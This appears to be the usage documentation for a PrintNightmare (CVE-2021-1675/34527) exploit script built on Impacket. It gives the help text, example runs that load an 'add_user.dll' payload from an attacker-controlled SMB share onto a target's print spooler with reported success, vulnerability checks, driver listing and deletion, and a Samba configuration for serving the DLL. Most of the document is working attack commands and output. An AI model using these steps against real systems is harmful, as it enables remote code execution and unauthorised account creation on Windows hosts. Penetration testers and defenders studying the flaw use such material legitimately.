$ pip3 install impacket

Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

usage: printnightmare.py [-h] [-debug] [-port [destination port]] [-target-ip ip address] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-dc-ip ip address]
                         [-name driver name] [-env driver name] [-path driver path] [-dll driver dll] [-check] [-list] [-delete]
                         target

PrintNightmare (CVE-2021-1675 / CVE-2021-34527)

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>

optional arguments:
  -h, --help            show this help message and exit
  -debug                Turn DEBUG output ON
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials
                        cannot be found, it will use the ones specified in the command line
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter

connection:
  -port [destination port]
                        Destination port to connect to MS-RPRN named pipe
  -target-ip ip address
                        IP Address of the target machine. If ommited it will use whatever was specified as target. This is useful when target is the
                        NetBIOS name and you cannot resolve it

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH

driver:
  -name driver name     Name for driver
  -env driver name      Environment for driver
  -path driver path     Driver path for driver
  -dll driver dll       Path to DLL

modes:
  -check                Check if target is vulnerable
  -list                 List existing printer drivers
  -delete               Deletes printer driver

$ ./printnightmare.py -dll '\\172.16.19.1\smb\add_user.dll' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Enumerating printer drivers
[*] Driver name: 'Microsoft XPS Document Writer v5'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: '\\\\172.16.19.1\\smb\\add_user.dll'
[*] Copying over DLL
[*] Successfully copied over DLL
[*] Trying to load DLL
[*] Successfully loaded DLL

$ ./printnightmare.py -dll 'C:\Windows\System32\spool\drivers\x64\3\old\1\add_user.dll' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Enumerating printer drivers
[*] Driver name: 'Microsoft XPS Document Writer v5'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: 'C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\1\\add_user.dll'
[*] Loading DLL
[*] Successfully loaded DLL

$ ./printnightmare.py -dll '\\172.16.19.1\smb\add_user.dll' -name 'My Printer Driver' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Enumerating printer drivers
[*] Driver name: 'My Printer Driver'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: '\\\\172.16.19.1\\smb\\add_user.dll'
[*] Copying over DLL
[*] Successfully copied over DLL
[*] Trying to load DLL
[*] Successfully loaded DLL

$ ./printnightmare.py -list 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Enumerating printer drivers
Name:               Microsoft XPS Document Writer v4
Environment:        Windows x64
Driver path:        C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll
Data file:          C:\Windows\System32\DriverStore\FileRepository\prnms001.inf_amd64_f340cb58fcd23202\MXDW.gpd
Config file:        C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_9bf7e0c26ba91f8b\Amd64\PrintConfig.dll
Version:            4
----------------------------------------------------------------
Name:               Microsoft Print To PDF
Environment:        Windows x64
Driver path:        C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll
Data file:          C:\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_80184dcbef6775bc\MPDW-PDC.xml
Config file:        C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_9bf7e0c26ba91f8b\Amd64\PrintConfig.dll
Version:            4
----------------------------------------------------------------
Name:               My Printer Driver
Environment:        Windows x64
Driver path:        C:\Windows\system32\spool\DRIVERS\x64\3\UNIDRV.DLL
Data file:          C:\Windows\system32\spool\DRIVERS\x64\3\add_user.dll
Config file:        C:\Windows\system32\spool\DRIVERS\x64\3\add_user.dll
Version:            3
----------------------------------------------------------------
Name:               Microsoft Shared Fax Driver
Environment:        Windows x64
Driver path:        C:\Windows\system32\spool\DRIVERS\x64\3\FXSDRV.DLL
Data file:          C:\Windows\system32\spool\DRIVERS\x64\3\FXSUI.DLL
Config file:        C:\Windows\system32\spool\DRIVERS\x64\3\FXSUI.DLL
Version:            3
----------------------------------------------------------------
Name:               Microsoft enhanced Point and Print compatibility driver
Environment:        Windows x64
Driver path:        C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdrv.dll
Data file:          C:\Windows\system32\spool\DRIVERS\x64\3\unishare.gpd
Config file:        C:\Windows\system32\spool\DRIVERS\x64\3\PrintConfig.dll
Version:            3
----------------------------------------------------------------

$ ./printnightmare.py -check 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Target appears to be vulnerable!

$ ./printnightmare.py -check 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[!] Target does not appear to be vulnerable

$ ./printnightmare.py -list 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Enumerating printer drivers
Name:               Microsoft XPS Document Writer v4
Environment:        Windows x64
Driver path:        C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll
Data file:          C:\Windows\System32\DriverStore\FileRepository\prnms001.inf_amd64_8bc7809b71930efc\MXDW.gpd
Config file:        C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_c9865835eff4a608\Amd64\PrintConfig.dll
Version:            4
----------------------------------------------------------------
Name:               Microsoft Print To PDF
Environment:        Windows x64
Driver path:        C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll
Data file:          C:\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_6dc3549941ff1a57\MPDW-PDC.xml
Config file:        C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_c9865835eff4a608\Amd64\PrintConfig.dll
Version:            4
----------------------------------------------------------------
Name:               Microsoft enhanced Point and Print compatibility driver
Environment:        Windows x64
Driver path:        C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdrv.dll
Data file:          C:\Windows\system32\spool\DRIVERS\x64\3\unishare.gpd
Config file:        C:\Windows\system32\spool\DRIVERS\x64\3\PrintConfig.dll
Version:            3
----------------------------------------------------------------

$ ./printnightmare.py -delete -name 'Microsoft XPS Document Writer v5' 'administrator:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Deleted printer driver!

$ sudo apt install samba

[smb]
    comment = Samba
    path = /tmp/share
    guest ok = yes
    read only = yes
    browsable = yes
    force user = nobody

$ sudo service smbd start